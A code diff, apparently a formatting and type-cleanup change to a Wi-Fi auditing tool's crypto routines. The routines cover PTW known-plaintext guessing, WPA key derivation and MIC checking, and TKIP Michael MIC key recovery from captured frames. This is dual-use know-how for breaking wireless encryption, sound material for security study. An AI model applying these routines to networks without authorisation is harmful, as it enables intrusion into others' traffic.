 
-int is_arp(void *wh, int len)
+int is_arp(void * wh, size_t len)
 {
-        int arpsize = 8 + 8 + 10*2;
+	size_t arpsize = 8 + 8 + 10 * 2;
 
-        if(wh) {}
-        /* remove non BROADCAST frames? could be anything, but
-         * chances are good that we got an arp response tho.   */
+	if (wh)
+	{
+	}
+	/* remove non BROADCAST frames? could be anything, but
+		 * chances are good that we got an arp response tho.   */
 
-        if (len == arpsize || len == 54)
-            return 1;
+	if (len == arpsize || len == 54) return 1;
 
-        return 0;
+	return 0;
 }
 
-int is_wlccp(void *wh, int len)
+int is_wlccp(void * wh, size_t len)
 {
-	int wlccpsize = 58;
+	size_t wlccpsize = 58;
 
-	if(wh) {}
+	if (wh)
+	{
+	}
 
-	if (len == wlccpsize)
-		return 1;
+	if (len == wlccpsize) return 1;
 
 	return 0;
 }
 
-int is_qos_arp_tkip(void *wh, int len)
+int is_qos_arp_tkip(void * wh, int len)
 {
-        unsigned char *packet = (unsigned char*) wh;
-        int qosarpsize = (24 + 2) + 8 + (8 + (8 + 10*2)) + 8 + 4; //82 in total
-
-        if((packet[1] & 3) == 1) //to ds
-        {
-            if (len == qosarpsize) //always wireless
-                return 1;
-        }
-
-        if((packet[1] & 3) == 2) //from ds
-        {
-            if (len == qosarpsize || len == qosarpsize + 18) //wireless or padded wired
-                return 1;
-        }
-
-        return 0;
+	unsigned char * packet = (unsigned char *) wh;
+	int qosarpsize = (24 + 2) + 8 + (8 + (8 + 10 * 2)) + 8 + 4; // 82 in total
+
+	if ((packet[1] & 3) == 1) // to ds
+	{
+		if (len == qosarpsize) // always wireless
+			return 1;
+	}
+
+	if ((packet[1] & 3) == 2) // from ds
+	{
+		if (len == qosarpsize
+			|| len == qosarpsize + 18) // wireless or padded wired
+			return 1;
+	}
+
+	return 0;
 }
 
-int is_spantree(void *wh)
+int is_spantree(void * wh)
 {
-        if ( wh != NULL &&
-	     (memcmp( wh +  4, SPANTREE, 6 ) == 0 ||
-              memcmp( wh + 16, SPANTREE, 6 ) == 0 ))
-            return 1;
+	if (wh != NULL && (memcmp((char *) wh + 4, SPANTREE, 6) == 0
+					   || memcmp((char *) wh + 16, SPANTREE, 6) == 0))
+		return 1;
 
-        return 0;
+	return 0;
 }
 
-int is_cdp_vtp(void *wh)
+int is_cdp_vtp(void * wh)
 {
-        if ( memcmp( wh +  4, CDP_VTP, 6 ) == 0 ||
-             memcmp( wh + 16, CDP_VTP, 6 ) == 0 )
-            return 1;
+	if (memcmp((char *) wh + 4, CDP_VTP, 6) == 0
+		|| memcmp((char *) wh + 16, CDP_VTP, 6) == 0)
+		return 1;
 
-        return 0;
+	return 0;
 }
 
 /* weight is used for guesswork in PTW.  Can be null if known_clear is not for
  * PTW, but just for getting known clear-text.
  */
-int known_clear(void *clear, int *clen, int *weight, unsigned char *wh, int len)
+int known_clear(
+	void * clear, int * clen, int * weight, unsigned char * wh, size_t len)
 {
-        unsigned char *ptr = clear;
-        int num;
-
-        if(is_arp(wh, len)) /*arp*/
-        {
-            len = sizeof(S_LLC_SNAP_ARP) - 1;
-            memcpy(ptr, S_LLC_SNAP_ARP, len);
-            ptr += len;
-
-            /* arp hdr */
-            len = 6;
-            memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
-            ptr += len;
-
-            /* type of arp */
-            len = 2;
-            if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
-                    memcpy(ptr, "\x00\x01", len);
-            else
-                    memcpy(ptr, "\x00\x02", len);
-            ptr += len;
-
-            /* src mac */
-            len = 6;
-            memcpy(ptr, get_sa(wh), len);
-            ptr += len;
-
-            len = ptr - ((unsigned char*)clear);
-            *clen = len;
-	    if (weight)
-                weight[0] = 256;
-            return 1;
-
-        }
-        else if(is_wlccp(wh, len)) /*wlccp*/
-        {
-            len = sizeof(S_LLC_SNAP_WLCCP) - 1;
-            memcpy(ptr, S_LLC_SNAP_WLCCP, len);
-            ptr += len;
-
-            /* wlccp hdr */
-            len = 4;
-            memcpy(ptr, "\x00\x32\x40\x01", len);
-            ptr += len;
-
-            /* dst mac */
-            len = 6;
-            memcpy(ptr, get_da(wh), len);
-            ptr += len;
-
-            len = ptr - ((unsigned char*)clear);
-            *clen = len;
-	    if (weight)
-                weight[0] = 256;
-            return 1;
-
-        }
-        else if(is_spantree(wh)) /*spantree*/
-        {
-            len = sizeof(S_LLC_SNAP_SPANTREE) - 1;
-            memcpy(ptr, S_LLC_SNAP_SPANTREE, len);
-            ptr += len;
-
-            len = ptr - ((unsigned char*)clear);
-            *clen = len;
-	    if (weight)
-                weight[0] = 256;
-            return 1;
-        }
-        else if(is_cdp_vtp(wh)) /*spantree*/
-        {
-            len = sizeof(S_LLC_SNAP_CDP) - 1;
-            memcpy(ptr, S_LLC_SNAP_CDP, len);
-            ptr += len;
-
-            len = ptr - ((unsigned char*)clear);
-            *clen = len;
-	    if (weight)
-                weight[0] = 256;
-            return 1;
-        }
-        else /* IP */
-        {
-                unsigned short iplen = htons(len - 8);
-
-//                printf("Assuming IP %d\n", len);
-
-                len = sizeof(S_LLC_SNAP_IP) - 1;
-                memcpy(ptr, S_LLC_SNAP_IP, len);
-                ptr += len;
+	unsigned char * ptr = clear;
+	int num;
+
+	if (is_arp(wh, len)) /*arp*/
+	{
+		len = sizeof(S_LLC_SNAP_ARP) - 1;
+		memcpy(ptr, S_LLC_SNAP_ARP, len);
+		ptr += len;
+
+		/* arp hdr */
+		len = 6;
+		memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
+		ptr += len;
+
+		/* type of arp */
+		len = 2;
+		if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
+			memcpy(ptr, "\x00\x01", len);
+		else
+			memcpy(ptr, "\x00\x02", len);
+		ptr += len;
+
+		/* src mac */
+		len = 6;
+		memcpy(ptr, get_sa(wh), len);
+		ptr += len;
+
+		len = ptr - ((unsigned char *) clear);
+		*clen = (int) len;
+		if (weight) weight[0] = 256;
+		return 1;
+	}
+	else if (is_wlccp(wh, len)) /*wlccp*/
+	{
+		len = sizeof(S_LLC_SNAP_WLCCP) - 1;
+		memcpy(ptr, S_LLC_SNAP_WLCCP, len);
+		ptr += len;
+
+		/* wlccp hdr */
+		len = 4;
+		memcpy(ptr, "\x00\x32\x40\x01", len);
+		ptr += len;
+
+		/* dst mac */
+		len = 6;
+		memcpy(ptr, get_da(wh), len);
+		ptr += len;
+
+		len = ptr - ((unsigned char *) clear);
+		*clen = (int) len;
+		if (weight) weight[0] = 256;
+		return 1;
+	}
+	else if (is_spantree(wh)) /*spantree*/
+	{
+		len = sizeof(S_LLC_SNAP_SPANTREE) - 1;
+		memcpy(ptr, S_LLC_SNAP_SPANTREE, len);
+		ptr += len;
+
+		len = ptr - ((unsigned char *) clear);
+		*clen = (int) len;
+		if (weight) weight[0] = 256;
+		return 1;
+	}
+	else if (is_cdp_vtp(wh)) /*spantree*/
+	{
+		len = sizeof(S_LLC_SNAP_CDP) - 1;
+		memcpy(ptr, S_LLC_SNAP_CDP, len);
+		ptr += len;
+
+		len = ptr - ((unsigned char *) clear);
+		*clen = (int) len;
+		if (weight) weight[0] = 256;
+		return 1;
+	}
+	else /* IP */
+	{
+		unsigned short iplen = htons((uint16_t)(len - 8));
+
+		//                printf("Assuming IP %d\n", len);
+
+		len = sizeof(S_LLC_SNAP_IP) - 1;
+		memcpy(ptr, S_LLC_SNAP_IP, len);
+		ptr += len;
 #if 1
-                //version=4; header_length=20; services=0
-                len = 2;
-                memcpy(ptr, "\x45\x00", len);
-                ptr += len;
+		// version=4; header_length=20; services=0
+		len = 2;
+		memcpy(ptr, "\x45\x00", len);
+		ptr += len;
 
-                //ip total length
-                memcpy(ptr, &iplen, len);
-                ptr += len;
+		// ip total length
+		memcpy(ptr, &iplen, len);
+		ptr += len;
 
 		/* no guesswork */
-		if (!weight) {
-			*clen = ptr - ((unsigned char*)clear);
+		if (!weight)
+		{
+			*clen = (int) (ptr - ((unsigned char *) clear));
 			return 1;
 		}
 #if 1
 		/* setting IP ID 0 is ok, as we
-                 * bruteforce it later
+				 * bruteforce it later
 		 */
-                //ID=0
-                len=2;
-                memcpy(ptr, "\x00\x00", len);
-                ptr += len;
-
-                //ip flags=don't fragment
-                len=2;
-                memcpy(ptr, "\x40\x00", len);
-                ptr += len;
+		// ID=0
+		len = 2;
+		memcpy(ptr, "\x00\x00", len);
+		ptr += len;
+
+		// ip flags=don't fragment
+		len = 2;
+		memcpy(ptr, "\x40\x00", len);
+		ptr += len;
 #endif
 #endif
-                len = ptr - ((unsigned char*)clear);
-                *clen = len;
+		len = ptr - ((unsigned char *) clear);
+		*clen = (int) len;
 
-                memcpy(clear+32, clear, len);
-                memcpy(clear+32+14, "\x00\x00", 2); //ip flags=none
+		memmove((char *) clear + 32, clear, len);
+		memcpy((char *) clear + 32 + 14, "\x00\x00", 2); // ip flags=none
 
-                num=2;
+		num = 2;
 		assert(weight);
-                weight[0] = 220;
-                weight[1] = 36;
+		weight[0] = 220;
+		weight[1] = 36;
 
-                return num;
-        }
+		return num;
+	}
 }
 
 /* derive the pairwise transcient keys from a bunch of stuff */
 
-int calc_ptk( struct WPA_ST_info *wpa, unsigned char pmk[32] )
+int calc_ptk(struct WPA_ST_info * wpa, unsigned char pmk[32])
 {
-    int i;
-    unsigned char pke[100];
-    unsigned char mic[20];
-
-    memcpy( pke, "Pairwise key expansion", 23 );
-
-    if( memcmp( wpa->stmac, wpa->bssid, 6 ) < 0 )
-    {
-        memcpy( pke + 23, wpa->stmac, 6 );
-        memcpy( pke + 29, wpa->bssid, 6 );
-    }
-    else
-    {
-        memcpy( pke + 23, wpa->bssid, 6 );
-        memcpy( pke + 29, wpa->stmac, 6 );
-    }
-
-    if( memcmp( wpa->snonce, wpa->anonce, 32 ) < 0 )
-    {
-        memcpy( pke + 35, wpa->snonce, 32 );
-        memcpy( pke + 67, wpa->anonce, 32 );
-    }
-    else
-    {
-        memcpy( pke + 35, wpa->anonce, 32 );
-        memcpy( pke + 67, wpa->snonce, 32 );
-    }
-
-    for( i = 0; i < 4; i++ )
-    {
-        pke[99] = i;
-        HMAC(EVP_sha1(), pmk, 32, pke, 100, wpa->ptk + i * 20, NULL );
-    }
-
-    /* check the EAPOL frame MIC */
-
-    if( ( wpa->keyver & 0x07 ) == 1 )
-        HMAC(EVP_md5(), wpa->ptk, 16, wpa->eapol, wpa->eapol_size, mic, NULL );
-    else
-        HMAC(EVP_sha1(), wpa->ptk, 16, wpa->eapol, wpa->eapol_size, mic, NULL );
-
-    return( memcmp( mic, wpa->keymic, 16 ) == 0 );
+	int i;
+	unsigned char pke[100];
+	unsigned char mic[20];
+
+	memcpy(pke, "Pairwise key expansion", 23);
+
+	if (memcmp(wpa->stmac, wpa->bssid, 6) < 0)
+	{
+		memcpy(pke + 23, wpa->stmac, 6);
+		memcpy(pke + 29, wpa->bssid, 6);
+	}
+	else
+	{
+		memcpy(pke + 23, wpa->bssid, 6);
+		memcpy(pke + 29, wpa->stmac, 6);
+	}
+
+	if (memcmp(wpa->snonce, wpa->anonce, 32) < 0)
+	{
+		memcpy(pke + 35, wpa->snonce, 32);
+		memcpy(pke + 67, wpa->anonce, 32);
+	}
+	else
+	{
+		memcpy(pke + 35, wpa->anonce, 32);
+		memcpy(pke + 67, wpa->snonce, 32);
+	}
+
+	for (i = 0; i < 4; i++)
+	{
+		pke[99] = (uint8_t) i;
+		HMAC(EVP_sha1(), pmk, 32, pke, 100, wpa->ptk + i * 20, NULL);
+	}
+
+	/* check the EAPOL frame MIC */
+
+	if ((wpa->keyver & 0x07) == 1)
+		HMAC(EVP_md5(), wpa->ptk, 16, wpa->eapol, wpa->eapol_size, mic, NULL);
+	else
+		HMAC(EVP_sha1(), wpa->ptk, 16, wpa->eapol, wpa->eapol_size, mic, NULL);
+
+	return (memcmp(mic, wpa->keymic, 16) == 0);
 }
 
-int init_michael(struct Michael *mic, unsigned char key[8])
+int init_michael(struct Michael * mic, const unsigned char key[8])
 {
-    mic->key0 = key[0]<<0 | key[1]<<8 | key[2]<<16 | key[3]<<24;
-    mic->key1 = key[4]<<0 | key[5]<<8 | key[6]<<16 | key[7]<<24;
-    // and reset the message
-    mic->left  = mic->key0;
-    mic->right = mic->key1;
-    mic->nBytesInM = 0;
-    mic->message = 0;
-    return 0;
+	mic->key0 = UBTOUL(key[0]) << 0UL | UBTOUL(key[1]) << 8UL
+				| UBTOUL(key[2]) << 16UL | UBTOUL(key[3] << 24UL);
+	mic->key1 = UBTOUL(key[4]) << 0UL | UBTOUL(key[5]) << 8UL
+				| UBTOUL(key[6]) << 16UL | UBTOUL(key[7] << 24UL);
+	// and reset the message
+	mic->left = mic->key0;
+	mic->right = mic->key1;
+	mic->nBytesInM = 0UL;
+	mic->message = 0UL;
+	return 0;
 }
 
-int michael_append_byte(struct Michael *mic, unsigned char byte)
+int michael_append_byte(struct Michael * mic, unsigned char byte)
 {
-    mic->message |= (byte << (8*mic->nBytesInM));
-    mic->nBytesInM++;
-    // Process the word if it is full.
-    if( mic->nBytesInM >= 4 )
-    {
-        mic->left ^= mic->message;
-        mic->right ^= ROL32( mic->left, 17 );
-        mic->left += mic->right;
-        mic->right ^= ((mic->left & 0xff00ff00) >> 8) | ((mic->left & 0x00ff00ff) << 8);
-        mic->left += mic->right;
-        mic->right ^= ROL32( mic->left, 3 );
-        mic->left += mic->right;
-        mic->right ^= ROR32( mic->left, 2 );
-        mic->left += mic->right;
-        // Clear the buffer
-        mic->message = 0;
-        mic->nBytesInM = 0;
-    }
-    return 0;
+	mic->message |= (UBTOUL(byte) << (8UL * mic->nBytesInM));
+	mic->nBytesInM++;
+	// Process the word if it is full.
+	if (mic->nBytesInM >= 4UL)
+	{
+		mic->left ^= mic->message;
+		mic->right ^= ROL32(mic->left, 17);
+		mic->left += mic->right;
+		mic->right ^= ((mic->left & 0xff00ff00) >> 8UL)
+					  | ((mic->left & 0x00ff00ff) << 8UL);
+		mic->left += mic->right;
+		mic->right ^= ROL32(mic->left, 3);
+		mic->left += mic->right;
+		mic->right ^= ROR32(mic->left, 2);
+		mic->left += mic->right;
+		// Clear the buffer
+		mic->message = 0UL;
+		mic->nBytesInM = 0UL;
+	}
+	return 0;
 }
 
-int michael_remove_byte(struct Michael *mic, unsigned char bytes[4])
+int michael_remove_byte(struct Michael * mic, const unsigned char bytes[4])
 {
-    if( mic->nBytesInM == 0 )
-    {
-        // Clear the buffer
-        mic->message = bytes[0] << 0 | bytes[1] << 8 | bytes[2] << 16 | bytes[3] << 24;
-        mic->nBytesInM = 4;
-        mic->left -= mic->right;
-        mic->right ^= ROR32( mic->left, 2 );
-        mic->left -= mic->right;
-        mic->right ^= ROL32( mic->left, 3 );
-        mic->left -= mic->right;
-        mic->right ^= ((mic->left & 0xff00ff00) >> 8) | ((mic->left & 0x00ff00ff) << 8);
-        mic->left -= mic->right;
-        mic->right ^= ROL32( mic->left, 17 );
-        mic->left ^= mic->message;
-    }
-    mic->nBytesInM--;
-    mic->message &= ~(0xFF << (8*mic->nBytesInM));
-
-    return 0;
+	if (mic->nBytesInM == 0)
+	{
+		// Clear the buffer
+		mic->message = UBTOUL(bytes[0]) << 0UL | UBTOUL(bytes[1]) << 8UL
+					   | UBTOUL(bytes[2]) << 16UL | UBTOUL(bytes[3]) << 24UL;
+		mic->nBytesInM = 4;
+		mic->left -= mic->right;
+		mic->right ^= ROR32(mic->left, 2);
+		mic->left -= mic->right;
+		mic->right ^= ROL32(mic->left, 3);
+		mic->left -= mic->right;
+		mic->right ^= ((mic->left & 0xff00ff00) >> 8UL)
+					  | ((mic->left & 0x00ff00ff) << 8UL);
+		mic->left -= mic->right;
+		mic->right ^= ROL32(mic->left, 17);
+		mic->left ^= mic->message;
+	}
+	mic->nBytesInM--;
+	mic->message &= ~(0xFF << (8UL * mic->nBytesInM));
+
+	return 0;
 }
 
-int michael_append(struct Michael *mic, unsigned char *bytes, int length)
+int michael_append(struct Michael * mic, unsigned char * bytes, int length)
 {
-    while(length > 0)
-    {
-        michael_append_byte(mic, *bytes++);
-        length--;
-    }
-    return 0;
+	while (length > 0)
+	{
+		michael_append_byte(mic, *bytes++);
+		length--;
+	}
+	return 0;
 }
 
-int michael_remove(struct Michael *mic, unsigned char *bytes, int length)
+int michael_remove(struct Michael * mic, unsigned char * bytes, int length)
 {
-    while(length >= 4)
-    {
-        michael_remove_byte(mic, (bytes+length-4));
-        length--;
-    }
-    return 0;
+	while (length >= 4)
+	{
+		michael_remove_byte(mic, (bytes + length - 4));
+		length--;
+	}
+	return 0;
 }
 
-int michael_finalize(struct Michael *mic)
+int michael_finalize(struct Michael * mic)
 {
-    // Append the minimum padding
-    michael_append_byte(mic, 0x5a );
-    michael_append_byte(mic, 0 );
-    michael_append_byte(mic, 0 );
-    michael_append_byte(mic, 0 );
-    michael_append_byte(mic, 0 );
-    // and then zeroes until the length is a multiple of 4
-    while( mic->nBytesInM != 0 )
-    {
-            michael_append_byte(mic, 0 );
-    }
-    // The appendByte function has already computed the result.
-    mic->mic[0] = (mic->left  >> 0 ) & 0xff;
-    mic->mic[1] = (mic->left  >> 8 ) & 0xff;
-    mic->mic[2] = (mic->left  >> 16) & 0xff;
-    mic->mic[3] = (mic->left  >> 24) & 0xff;
-    mic->mic[4] = (mic->right >> 0 ) & 0xff;
-    mic->mic[5] = (mic->right >> 8 ) & 0xff;
-    mic->mic[6] = (mic->right >> 16) & 0xff;
-    mic->mic[7] = (mic->right >> 24) & 0xff;
-
-    return 0;
+	// Append the minimum padding
+	michael_append_byte(mic, 0x5a);
+	michael_append_byte(mic, 0);
+	michael_append_byte(mic, 0);
+	michael_append_byte(mic, 0);
+	michael_append_byte(mic, 0);
+	// and then zeroes until the length is a multiple of 4
+	while (mic->nBytesInM != 0)
+	{
+		michael_append_byte(mic, 0);
+	}
+	// The appendByte function has already computed the result.
+	mic->mic[0] = (uint8_t)((mic->left >> 0) & 0xff);
+	mic->mic[1] = (uint8_t)((mic->left >> 8) & 0xff);
+	mic->mic[2] = (uint8_t)((mic->left >> 16) & 0xff);
+	mic->mic[3] = (uint8_t)((mic->left >> 24) & 0xff);
+	mic->mic[4] = (uint8_t)((mic->right >> 0) & 0xff);
+	mic->mic[5] = (uint8_t)((mic->right >> 8) & 0xff);
+	mic->mic[6] = (uint8_t)((mic->right >> 16) & 0xff);
+	mic->mic[7] = (uint8_t)((mic->right >> 24) & 0xff);
+
+	return 0;
 }
 
-int michael_finalize_zero(struct Michael *mic)
+int michael_finalize_zero(struct Michael * mic)
 {
-    // Append the minimum padding
-    michael_append_byte(mic, 0 );
-    michael_append_byte(mic, 0 );
-    michael_append_byte(mic, 0 );
-    michael_append_byte(mic, 0 );
-    michael_append_byte(mic, 0 );
-    // and then zeroes until the length is a multiple of 4
-    while( mic->nBytesInM != 0 )
-    {
-            michael_append_byte(mic, 0 );
-    }
-    // The appendByte function has already computed the result.
-    mic->mic[0] = (mic->left  >> 0 ) & 0xff;
-    mic->mic[1] = (mic->left  >> 8 ) & 0xff;
-    mic->mic[2] = (mic->left  >> 16) & 0xff;
-    mic->mic[3] = (mic->left  >> 24) & 0xff;
-    mic->mic[4] = (mic->right >> 0 ) & 0xff;
-    mic->mic[5] = (mic->right >> 8 ) & 0xff;
-    mic->mic[6] = (mic->right >> 16) & 0xff;
-    mic->mic[7] = (mic->right >> 24) & 0xff;
-
-    return 0;
+	// Append the minimum padding
+	michael_append_byte(mic, 0);
+	michael_append_byte(mic, 0);
+	michael_append_byte(mic, 0);
+	michael_append_byte(mic, 0);
+	michael_append_byte(mic, 0);
+	// and then zeroes until the length is a multiple of 4
+	while (mic->nBytesInM != 0)
+	{
+		michael_append_byte(mic, 0);
+	}
+	// The appendByte function has already computed the result.
+	mic->mic[0] = (uint8_t)((mic->left >> 0) & 0xff);
+	mic->mic[1] = (uint8_t)((mic->left >> 8) & 0xff);
+	mic->mic[2] = (uint8_t)((mic->left >> 16) & 0xff);
+	mic->mic[3] = (uint8_t)((mic->left >> 24) & 0xff);
+	mic->mic[4] = (uint8_t)((mic->right >> 0) & 0xff);
+	mic->mic[5] = (uint8_t)((mic->right >> 8) & 0xff);
+	mic->mic[6] = (uint8_t)((mic->right >> 16) & 0xff);
+	mic->mic[7] = (uint8_t)((mic->right >> 24) & 0xff);
+
+	return 0;
 }
 
-int michael_test(unsigned char key[8], unsigned char *message, int length, unsigned char out[8])
+int michael_test(unsigned char key[8],
+				 unsigned char * message,
+				 int length,
+				 unsigned char out[8])
 {
-    int i=0;
-    struct Michael mic0;
-    struct Michael mic1;
-    struct Michael mic2;
-    struct Michael mic;
-
-    init_michael(&mic0, (unsigned char*)"\x00\x00\x00\x00\x00\x00\x00\x00");
-    init_michael(&mic1, (unsigned char*)"\x00\x00\x00\x00\x00\x00\x00\x00");
-    init_michael(&mic2, (unsigned char*)"\x00\x00\x00\x00\x00\x00\x00\x00");
-
-    michael_append_byte(&mic0, 0x02);
-    michael_append_byte(&mic1, 0x01);
-    michael_append_byte(&mic2, 0x03);
-
-    michael_finalize(&mic0);
-    michael_finalize_zero(&mic1);
-    michael_finalize(&mic2);
-
-    printf("Blub 2:");
-    for(i=0; i<8; i++)
-    {
-        printf("%02X ", mic0.mic[i]);
-    }
-    printf("\n");
-
-    printf("Blub 1:");
-    for(i=0; i<8; i++)
-    {
-        printf("%02X ", mic1.mic[i]);
-    }
-    printf("\n");
-
-    printf("Blub 3:");
-    for(i=0; i<8; i++)
-    {
-        printf("%02X ", mic2.mic[i]);
-    }
-    printf("\n");
-
-    init_michael(&mic, key);
-    michael_append(&mic, message, length);
-    michael_finalize(&mic);
-
-    return (memcmp(mic.mic, out, 8) == 0);
+	int i = 0;
+	struct Michael mic0;
+	struct Michael mic1;
+	struct Michael mic2;
+	struct Michael mic;
+
+	init_michael(&mic0, (unsigned char *) "\x00\x00\x00\x00\x00\x00\x00\x00");
+	init_michael(&mic1, (unsigned char *) "\x00\x00\x00\x00\x00\x00\x00\x00");
+	init_michael(&mic2, (unsigned char *) "\x00\x00\x00\x00\x00\x00\x00\x00");
+
+	michael_append_byte(&mic0, 0x02);
+	michael_append_byte(&mic1, 0x01);
+	michael_append_byte(&mic2, 0x03);
+
+	michael_finalize(&mic0);
+	michael_finalize_zero(&mic1);
+	michael_finalize(&mic2);
+
+	printf("Blub 2:");
+	for (i = 0; i < 8; i++)
+	{
+		printf("%02X ", mic0.mic[i]);
+	}
+	printf("\n");
+
+	printf("Blub 1:");
+	for (i = 0; i < 8; i++)
+	{
+		printf("%02X ", mic1.mic[i]);
+	}
+	printf("\n");
+
+	printf("Blub 3:");
+	for (i = 0; i < 8; i++)
+	{
+		printf("%02X ", mic2.mic[i]);
+	}
+	printf("\n");
+
+	init_michael(&mic, key);
+	michael_append(&mic, message, length);
+	michael_finalize(&mic);
+
+	return (memcmp(mic.mic, out, 8) == 0);
 }
 
-int calc_tkip_mic_key(unsigned char* packet, int length, unsigned char key[8])
+int calc_tkip_mic_key(unsigned char * packet, int length, unsigned char key[8])
 {
-    int z, is_qos=0;
-    unsigned char smac[6], dmac[6], bssid[6];
-    unsigned char prio[4];
-    unsigned char message[4096];
-    unsigned char *ptr;
-    struct Michael mic;
-
-    memset(message, 0, 4096);
-
-    z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
-
-    if(length < z) return 0;
-
-    /* Check if 802.11e (QoS) */
-    if( (packet[0] & 0x80) == 0x80)
-    {
-        z+=2;
-        is_qos = 1;
-    }
-
-    memset(prio, 0, 4);
-    if(is_qos)
-    {
-        prio[0] = packet[z-2] & 0x0f;
-    }
-
-    switch( packet[1] & 3 )
-    {
-        case  0:
-            memcpy( bssid, packet + 16, 6 );
-            memcpy( dmac, packet + 4, 6 );
-            memcpy( smac, packet + 10, 6 );
-            break;
-        case  1:
-            memcpy( bssid, packet + 4, 6 );
-            memcpy( dmac, packet + 16, 6 );
-            memcpy( smac, packet + 10, 6 );
-            break;
-        case  2:
-            memcpy( bssid, packet + 10, 6 );
-            memcpy( dmac, packet + 4, 6 );
-            memcpy( smac, packet + 16, 6 );
-            break;
-        default:
-            memcpy( bssid, packet + 10, 6 );
-            memcpy( dmac, packet + 16, 6 );
-            memcpy( smac, packet + 24, 6 );
-            break;
-    }
-
-    ptr = message;
-    memcpy(ptr, dmac, 6);               ptr+=6;
-    memcpy(ptr, smac, 6);               ptr+=6;
-    memcpy(ptr, prio, 4);               ptr+=4;
-    memcpy(ptr, packet+z, length-z-8);  ptr+=length-z-8;
-    memcpy(ptr, "\x5a", 1);             ptr+=1;
-    memcpy(ptr, ZERO, 4);               ptr+=4;
-    if((ptr-message) % 4 > 0)
-        memcpy(ptr, ZERO, 4-((ptr-message)%4)); ptr+=4-((ptr-message)%4);
-
-    init_michael(&mic, packet+length-8);
-    michael_remove(&mic, message, (ptr-message));
-
-    mic.mic[0] = (mic.left >> 0 ) & 0xFF;
-    mic.mic[1] = (mic.left >> 8 ) & 0xFF;
-    mic.mic[2] = (mic.left >> 16) & 0xFF;
-    mic.mic[3] = (mic.left >> 24) & 0xFF;
-    mic.mic[4] = (mic.right >> 0 ) & 0xFF;
-    mic.mic[5] = (mic.right >> 8 ) & 0xFF;
-    mic.mic[6] = (mic.right >> 16) & 0xFF;
-    mic.mic[7] = (mic.right >> 24) & 0xFF;
-
-    memcpy(key, mic.mic, 8);
-    return 0;
+	int z, is_qos = 0;
+	unsigned char smac[6], dmac[6], bssid[6];
+	unsigned char prio[4];
+	unsigned char message[4096];
+	unsigned char * ptr;
+	struct Michael mic;
+
+	memset(message, 0, 4096);
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (length < z) return 0;
+
+	/* Check if 802.11e (QoS) */
+	if ((packet[0] & 0x80) == 0x80)
+	{
+		z += 2;
+		is_qos = 1;
+	}
+
+	memset(prio, 0, 4);
+	if (is_qos)
+	{
+		prio[0] = (uint8_t)(packet[z - 2] & 0x0f);
+	}
+
+	switch (packet[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, packet + 16, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, packet + 4, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 16, 6);
+			break;
+		default:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 24, 6);
+			break;
+	}
+
+	ptr = message;
+	memcpy(ptr, dmac, 6);
+	ptr += 6;
+	memcpy(ptr, smac, 6);
+	ptr += 6;
+	memcpy(ptr, prio, 4);
+	ptr += 4;
+	memcpy(ptr, packet + z, length - z - 8UL);
+	ptr += length - z - 8;
+	memcpy(ptr, "\x5a", 1);
+	ptr += 1;
+	memcpy(ptr, ZERO, 4);
+	ptr += 4;
+	if ((ptr - message) % 4 > 0)
+	{
+		memcpy(ptr, ZERO, 4 - ((ptr - message) % 4));
+		ptr += 4 - ((ptr - message) % 4);
+	}
+
+	init_michael(&mic, packet + length - 8);
+	michael_remove(&mic, message, (int) (ptr - message));
+
+	mic.mic[0] = (uint8_t)((mic.left >> 0) & 0xFF);
+	mic.mic[1] = (uint8_t)((mic.left >> 8) & 0xFF);
+	mic.mic[2] = (uint8_t)((mic.left >> 16) & 0xFF);
+	mic.mic[3] = (uint8_t)((mic.left >> 24) & 0xFF);
+	mic.mic[4] = (uint8_t)((mic.right >> 0) & 0xFF);
+	mic.mic[5] = (uint8_t)((mic.right >> 8) & 0xFF);
+	mic.mic[6] = (uint8_t)((mic.right >> 16) & 0xFF);
+	mic.mic[7] = (uint8_t)((mic.right >> 24) & 0xFF);
+
+	memcpy(key, mic.mic, 8);
+	return 0;
 }
 
-int calc_tkip_mic(unsigned char* packet, int length, unsigned char ptk[80], unsigned char value[8])
+int calc_tkip_mic(unsigned char * packet,
+				  int length,
+				  unsigned char ptk[80],
+				  unsigned char value[8])
 {
-    int z, koffset=0, is_qos=0;
-    unsigned char smac[6], dmac[6], bssid[6];
-    unsigned char prio[4];
-    struct Michael mic;
-
-    z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
-
-    if(length < z) return 0;
-
-    /* Check if 802.11e (QoS) */
-    if( (packet[0] & 0x80) == 0x80)
-    {
-        z+=2;
-        is_qos = 1;
-    }
-
-    switch( packet[1] & 3 )
-    {
-        case  0:
-            memcpy( bssid, packet + 16, 6 );
-            memcpy( dmac, packet + 4, 6 );
-            memcpy( smac, packet + 10, 6 );
-            break;
-        case  1:
-            memcpy( bssid, packet + 4, 6 );
-            memcpy( dmac, packet + 16, 6 );
-            memcpy( smac, packet + 10, 6 );
-            koffset = 48+8;
-            break;
-        case  2:
-            memcpy( bssid, packet + 10, 6 );
-            memcpy( dmac, packet + 4, 6 );
-            memcpy( smac, packet + 16, 6 );
-            koffset = 48;
-            break;
-        default:
-            memcpy( bssid, packet + 10, 6 );
-            memcpy( dmac, packet + 16, 6 );
-            memcpy( smac, packet + 24, 6 );
-            break;
-    }
-
-    if(koffset != 48 && koffset != 48+8)
-        return 1;
-
-    init_michael(&mic, ptk+koffset);
-
-    michael_append(&mic, dmac, 6);
-    michael_append(&mic, smac, 6);
-
-    memset(prio, 0, 4);
-    if(is_qos)
-    {
-        prio[0] = packet[z-2] & 0x0f;
-    }
-    michael_append(&mic, prio, 4);
-
-    michael_append(&mic, packet+z, length - z);
-
-    michael_finalize(&mic);
-
-    memcpy(value, mic.mic, 8);
-
-    return 0;
+	int z, koffset = 0, is_qos = 0;
